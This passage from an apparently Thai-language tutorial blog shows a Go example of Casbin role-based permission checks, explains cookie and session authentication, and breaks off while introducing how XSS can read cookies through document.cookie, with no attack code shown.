	groupingPolicies, err := e.GetGroupingPolicy()
	if err != nil {
		fmt.Printf(&quot;Error retrieving grouping policies: %v\n&quot;, err)
		return
	}

	fmt.Println(&quot;Direct Policies:&quot;)
	for _, p := range policies {
		fmt.Println(p)
	}
	fmt.Println(&quot;Grouping Policies:&quot;)
	for _, g := range groupingPolicies {
		fmt.Println(g)
	}
}

func main() {
	// &#xE42;&#xE2B;&#xE25;&#xE14; enforcer &#xE08;&#xE32;&#xE01;&#xE44;&#xE1F;&#xE25;&#xE4C; model.conf &#xE41;&#xE25;&#xE30; policy.csv
	e, err := casbin.NewEnforcer(&quot;model.conf&quot;, &quot;policy.csv&quot;)
	if err != nil {
		log.Fatalf(&quot;Error creating enforcer: %v&quot;, err)
	}

	// &#xE41;&#xE2A;&#xE14;&#xE07;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; user &#xE43;&#xE2B;&#xE21;&#xE48;
	fmt.Println(&quot;Policies before adding new user:&quot;)
	printPolicies(e)

	// &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; sajjaporn &#xE43;&#xE2B;&#xE49;&#xE21;&#xE35; role &#xE40;&#xE1B;&#xE47;&#xE19;&#xE17;&#xE31;&#xE49;&#xE07; teacher &#xE41;&#xE25;&#xE30; student
	added, err := e.AddGroupingPolicy(&quot;sajjaporn&quot;, &quot;teacher&quot;)
	if err != nil {
		log.Fatalf(&quot;Error adding grouping policy: %v&quot;, err)
	}
	if added {
		fmt.Println(&quot;Added grouping policy: (sajjaporn, teacher)&quot;)
	}
	added, err = e.AddGroupingPolicy(&quot;sajjaporn&quot;, &quot;student&quot;)
	if err != nil {
		log.Fatalf(&quot;Error adding grouping policy: %v&quot;, err)
	}
	if added {
		fmt.Println(&quot;Added grouping policy: (sajjaporn, student)&quot;)
	}

	// &#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE17;&#xE35;&#xE48;&#xE44;&#xE1F;&#xE25;&#xE4C;
	if err := e.SavePolicy(); err != nil {
		log.Fatalf(&quot;Error saving policy: %v&quot;, err)
	}

	// &#xE41;&#xE2A;&#xE14;&#xE07;&#xE19;&#xE42;&#xE22;&#xE1A;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; user &#xE43;&#xE2B;&#xE21;&#xE48;
	fmt.Println(&quot;\nPolicies after adding new user:&quot;)
	printPolicies(e)

	// &#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE02;&#xE2D;&#xE07; sajjaporn
	// 1. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; sajjaporn &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; (action &quot;view&quot; &#xE1A;&#xE19; &quot;course&quot;) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err := e.Enforce(&quot;sajjaporn&quot;, &quot;course&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;\nCan sajjaporn view course? %v\n&quot;, ok) // &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; true (&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; teacher &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; view course)

	// 2. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; sajjaporn &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE23;&#xE14; (action &quot;update&quot; &#xE1A;&#xE19; &quot;grade&quot;) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;sajjaporn&quot;, &quot;grade&quot;, &quot;update&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can sajjaporn update grade? %v\n&quot;, ok) // &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; true (teacher &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; update grade)

	// 3. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; sajjaporn &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE14;&#xE39;&#xE40;&#xE01;&#xE23;&#xE14; (action &quot;view&quot; &#xE1A;&#xE19; &quot;grade&quot;) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;sajjaporn&quot;, &quot;grade&quot;, &quot;view&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can sajjaporn view grade? %v\n&quot;, ok) // &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; true (student &#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; view grade)

	// 4. &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE27;&#xE48;&#xE32; sajjaporn &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE25;&#xE1A;&#xE23;&#xE32;&#xE22;&#xE27;&#xE34;&#xE0A;&#xE32; (action &quot;delete&quot; &#xE1A;&#xE19; &quot;course&quot;) &#xE44;&#xE14;&#xE49;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE44;&#xE21;&#xE48;
	ok, err = e.Enforce(&quot;sajjaporn&quot;, &quot;course&quot;, &quot;delete&quot;)
	if err != nil {
		log.Fatalf(&quot;Enforce error: %v&quot;, err)
	}
	fmt.Printf(&quot;Can sajjaporn delete course? %v\n&quot;, ok) // &#xE04;&#xE32;&#xE14;&#xE2B;&#xE27;&#xE31;&#xE07; false (&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; role &#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; delete course)
}
</code></pre><figcaption>main.go</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/Screenshot-2568-02-04-at-07.23.22.jpg" class="kg-image" alt loading="lazy" width="2000" height="1938" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/Screenshot-2568-02-04-at-07.23.22.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/Screenshot-2568-02-04-at-07.23.22.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2025/02/Screenshot-2568-02-04-at-07.23.22.jpg 1600w, https://blog.pjjop.org/content/images/size/w2400/2025/02/Screenshot-2568-02-04-at-07.23.22.jpg 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong>&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE2B;&#xE15;&#xE38;</strong> &#xE43;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A; Production &#xE40;&#xE23;&#xE32;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE0A;&#xE49;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A; Policy &#xE41;&#xE25;&#xE30;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE41;&#xE15;&#xE48;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE19;&#xE35;&#xE49;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; File <code>policy.csv</code>&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE32;&#xE18;&#xE34;&#xE15;</p><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3-authen-%E0%B8%94%E0%B9%89%E0%B8%A7%E0%B8%A2-cookie-%E0%B9%81%E0%B8%A5%E0%B8%B0-session"><strong>&#xE01;&#xE32;&#xE23; Authen &#xE14;&#xE49;&#xE27;&#xE22; Cookie &#xE41;&#xE25;&#xE30; Session</strong></h2><p><strong>Cookie</strong> &#xE40;&#xE1B;&#xE47;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE25;&#xE47;&#xE01; &#xE46; &#xE17;&#xE35;&#xE48; Server &#xE1D;&#xE32;&#xE01;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Browser &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49; Website &#xE08;&#xE14;&#xE08;&#xE33;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE40;&#xE23;&#xE32;&#xE0A;&#xE2D;&#xE1A;&#xE2D;&#xE30;&#xE44;&#xE23; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE44;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1B;&#xE49;&#xE32;&#xE22;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE15;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27;&#xE40;&#xE23;&#xE32;&#xE44;&#xE1B;&#xE17;&#xE38;&#xE01;&#xE2B;&#xE19;&#xE49;&#xE32; Web &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE01;&#xE34;&#xE14;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE15;&#xE48;&#xE2D;&#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE2A;&#xE30;&#xE14;&#xE27;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19; &#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE43;&#xE19;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; HTTP/HTTPS Protocol &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Server &#xE41;&#xE25;&#xE30; Browser &#xE17;&#xE35;&#xE48;&#xE1B;&#xE01;&#xE15;&#xE34;&#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE08;&#xE14;&#xE08;&#xE33;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Request &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/e274d110-811b-4756-b16b-9ba76c7469bd_1600x1051.png" class="kg-image" alt loading="lazy" width="1600" height="1051" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/e274d110-811b-4756-b16b-9ba76c7469bd_1600x1051.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/e274d110-811b-4756-b16b-9ba76c7469bd_1600x1051.png 1000w, https://blog.pjjop.org/content/images/2025/02/e274d110-811b-4756-b16b-9ba76c7469bd_1600x1051.png 1600w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Credential &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;</li><li>Server &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Credential &#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Session ID &#xE2B;&#xE23;&#xE37;&#xE2D; Token</li><li>Session ID &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Browser &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Cookie</li><li>&#xE01;&#xE48;&#xE2D;&#xE19;&#xE08;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; Server &#xE2D;&#xE35;&#xE01; Browser &#xE08;&#xE30;&#xE23;&#xE27;&#xE21; Cookie &#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Cookie Header &#xE02;&#xE2D;&#xE07; HTTP Request <strong>&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</strong></li><li>Server &#xE2D;&#xE48;&#xE32;&#xE19; Session ID &#xE08;&#xE32;&#xE01; Cookie &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE15;&#xE31;&#xE27;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;</li></ul><p><strong>Session </strong>&#xE40;&#xE1B;&#xE47;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE35;&#xE48; Server &#xE43;&#xE0A;&#xE49;&#xE08;&#xE33;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE42;&#xE14;&#xE22;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE27;&#xE49;&#xE17;&#xE35;&#xE48;&#xE1D;&#xE31;&#xE48;&#xE07; Server &#xE41;&#xE25;&#xE30;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE16;&#xE37;&#xE2D;&#xE41;&#xE04;&#xE48; Session ID &#xE1C;&#xE48;&#xE32;&#xE19; Cookie &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE32;&#xE01;&#xE2A;&#xE21;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE27;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23; &#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE14;&#xE49;&#xE1A;&#xE31;&#xE15;&#xE23;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE15;&#xE19; (Session ID ) &#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE17;&#xE19;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2025/02/a3a6331d-123a-4268-a770-8015625a9e0c_1600x1051.png" class="kg-image" alt loading="lazy" width="1600" height="1051" srcset="https://blog.pjjop.org/content/images/size/w600/2025/02/a3a6331d-123a-4268-a770-8015625a9e0c_1600x1051.png 600w, https://blog.pjjop.org/content/images/size/w1000/2025/02/a3a6331d-123a-4268-a770-8015625a9e0c_1600x1051.png 1000w, https://blog.pjjop.org/content/images/2025/02/a3a6331d-123a-4268-a770-8015625a9e0c_1600x1051.png 1600w" sizes="(min-width: 720px) 720px"></figure><p>Session &#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE22;&#xE37;&#xE19;&#xE22;&#xE31;&#xE19;&#xE15;&#xE31;&#xE27;&#xE15;&#xE19;&#xE41;&#xE25;&#xE30;&#xE15;&#xE34;&#xE14;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; &#xE14;&#xE31;&#xE07;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><ul><li>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE2B;&#xE49;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Credential &#xE40;&#xE0A;&#xE48;&#xE19; &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE1C;&#xE48;&#xE32;&#xE19;</li><li>Server &#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Credential &#xE41;&#xE25;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Session ID &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33; ID &#xE19;&#xE35;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE38;&#xE0D;&#xE41;&#xE08;&#xE17;&#xE35;&#xE48;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE42;&#xE22;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;</li><li>Session ID &#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Browser &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Cookie</li><li>Server &#xE08;&#xE30;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Session ID &#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE38;&#xE0D;&#xE41;&#xE08;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32; &#xE40;&#xE0A;&#xE48;&#xE19;<br><br>&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; <strong>nuttachot</strong><br>&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C; <strong>admin</strong><br>&#xE40;&#xE27;&#xE25;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21; 2025-02-22 10:00</li><li>&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE48;&#xE07; Request &#xE40;&#xE0A;&#xE48;&#xE19; &#xE14;&#xE39;&#xE2B;&#xE19;&#xE49;&#xE32; Profile, Browser &#xE08;&#xE30;&#xE2A;&#xE48;&#xE07; Session ID &#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32; &#xE1C;&#xE48;&#xE32;&#xE19; Cookie</li><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Server &#xE40;&#xE2B;&#xE47;&#xE19; Session ID &#xE41;&#xE25;&#xE49;&#xE27;&#xE44;&#xE1B;&#xE04;&#xE49;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33; &#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE01;&#xE47;&#xE08;&#xE30;&#xE23;&#xE39;&#xE49;&#xE27;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; <strong>nuttachot</strong> &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE4C;&#xE2D;&#xE30;&#xE44;&#xE23;</li></ul><p>Session &#xE21;&#xE35;&#xE2D;&#xE32;&#xE22;&#xE38;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; (Time-to-Live &#xE2B;&#xE23;&#xE37;&#xE2D; TTL) &#xE40;&#xE0A;&#xE48;&#xE19; 30 &#xE19;&#xE32;&#xE17;&#xE35; &#xE16;&#xE49;&#xE32;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE2B;&#xE23;&#xE37;&#xE2D; 24 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07;&#xE2A;&#xE39;&#xE07;&#xE2A;&#xE38;&#xE14; &#xE16;&#xE49;&#xE32;&#xE2B;&#xE21;&#xE14;&#xE2D;&#xE32;&#xE22;&#xE38; Server &#xE08;&#xE30;&#xE25;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE49;&#xE2D;&#xE07; Login &#xE43;&#xE2B;&#xE21;&#xE48;</p><p>Server &#xE08;&#xE30;&#xE25;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE01;&#xE01;&#xE31;&#xE1A; Session ID &#xE43;&#xE2B;&#xE49;&#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE42;&#xE21;&#xE06;&#xE30; &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Logout &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE21;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;</p><h2 id="%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88%E0%B9%83%E0%B8%99%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B9%83%E0%B8%8A%E0%B9%89-cookie"><strong>&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE42;&#xE2B;&#xE27;&#xE48;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; </strong>Cookie</h2><p><strong>Cross-Site Scripting (XSS)</strong></p><p>XSS &#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48; Hacker &#xE09;&#xE35;&#xE14; Code JavaScript &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE31;&#xE19;&#xE15;&#xE23;&#xE32;&#xE22;&#xE40;&#xE02;&#xE49;&#xE32;&#xE44;&#xE1B;&#xE43;&#xE19; Website &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49; Code &#xE19;&#xE31;&#xE49;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE19; Browser &#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; &#xE16;&#xE49;&#xE32; Website &#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Cookie (&#xE40;&#xE0A;&#xE48;&#xE19; Session ID &#xE2B;&#xE23;&#xE37;&#xE2D; Token) Code &#xE17;&#xE35;&#xE48;&#xE16;&#xE39;&#xE01;&#xE09;&#xE35;&#xE14;&#xE40;&#xE02;&#xE49;&#xE32;&#xE21;&#xE32; &#xE08;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE02;&#xE42;&#xE21;&#xE22; Cookie &#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; <code>document.cookie</code></p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Hacker &#xE44;&#xE14;&#xE49; Cookie &#xE44;&#xE1B; &#xE1E;&#xE27;&#xE01;&#xE40;&#xE02;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE25;&#xE2D;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE23;&#xE32; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE17;&#xE33;&#xE2D;&#xE30;&#xE44;&#xE23;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE22;&#xE48;&#xE01;&#xE27;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19;&#xE44;&#xE14;&#xE49;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49; Website &#xE18;&#xE19;&#xE32;&#xE04;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Cookie &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; 